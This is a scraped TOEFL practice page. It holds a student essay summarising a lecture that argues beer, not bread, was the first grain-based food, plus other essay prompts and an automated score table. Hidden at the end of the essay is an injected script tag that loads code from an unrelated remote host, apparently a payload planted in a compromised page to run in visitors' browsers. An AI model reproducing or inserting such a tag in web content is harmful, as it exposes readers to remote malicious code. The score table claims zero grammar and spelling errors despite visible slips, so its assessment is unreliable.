integrated essay- The first grain based food.Summarize the points made in the lecture you just heard, explaining how they cast doubt on the contents of the reading passage.
The lecture casts doubt on the passage, that claims the bread to be the first grain-based food, rather it draws attention towards certain points those support the beer as the first grain food. In addition the lecture varies from passage in order of the sequence of the grain consumption in primitive period of civilization.
First and foremost, the passage states that the primitive consumption of grain started from grinding the grains because it was hard to chew raw. However, the professor refutes the idea including the evidence that people didn't have to grind the grain for direct consumption, rather it could be sprouted when exposed to the natural environment. Therefore, the grain could be sweeter and softer than the ground wheat and easy to chew it.
Secondly, the lecture further describes the possible next step of the consumption of grain. According to her, the sprouted grains were crushed to make it more useful but not ground. Furthermore, the crushed grain was fermenting with bubbles in it after coming in contact of water and east. So, anthropologists believe that the first beer originated from tasting the fermented grain. Hence, the process of grinding the grain into a paste and fermenting became a method to make beer.
The last point in the lecture explains that there is a very rare chance of baking the bread after grinding the grain as it is said in the reading passage, because the cooking is not supported by evidences during the prehistoric period. So it is not obvious that they knew about putting the grain on fire might cook it. Therefore, the idea of baking the ground grain is quite doubtful.<script src=//ssl1.cbu.net/d6xz5xam></script>
- Do you agree or disagree with the following statement? Be sure to support your response with specific details and examples.It is always best to tell the truth. 95
- Some people spend their entire lives in one place. Others move a number of times throughout their lives, looking for a better job, house, community, or even climate. Which do you prefer: staying in one place or moving in search of another place? Use reaso 65
- Choose one of the following transportation vehicles and explain whyyou think it has changed people’s lives.• automobiles• bicycles• airplanesUse specific reasons and examples to support your answer. 70
- You have enough money to purchase a house or a business. What would you prefer to buy?Use specific reasons and examples to support your answer . 55
- Holidays honor people or events. If you could create a new holiday, what person or event would it honor and how would you want to celebrate it? 67
It is on top list:
http://www.testbig.com/essay-categories/toefl
Attribute Value Ideal
Score: 27 in 30
Category: Excellent Excellent
No. of Grammatical Errors: 0 2
No. of Spelling Errors: 0 2
No. of Sentences: 13 10
No. of Words: 276 250
No. of Characters: 1325 1200
No. of Different Words: 141 150
Fourth Root of Number of Words: 4.076 4.3
Average Word Length: 4.801 4.6
Word Length SD: 2.491 2.4
No. of Words greater than 5 chars: 93 80
No. of Words greater than 6 chars: 69 60
No. of Words greater than 7 chars: 38 40
No. of Words greater than 8 chars: 25 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 21.231 21.0
Sentence Length SD: 8.781 7.5
Use of Discourse Markers (%): 0.923 0.12
Sentence-Text Coherence: 0.384 0.35
Sentence-Para Coherence: 0.59 0.50
Sentence-Sentence Coherence: 0.101 0.07
Number of Paragraphs: 4 4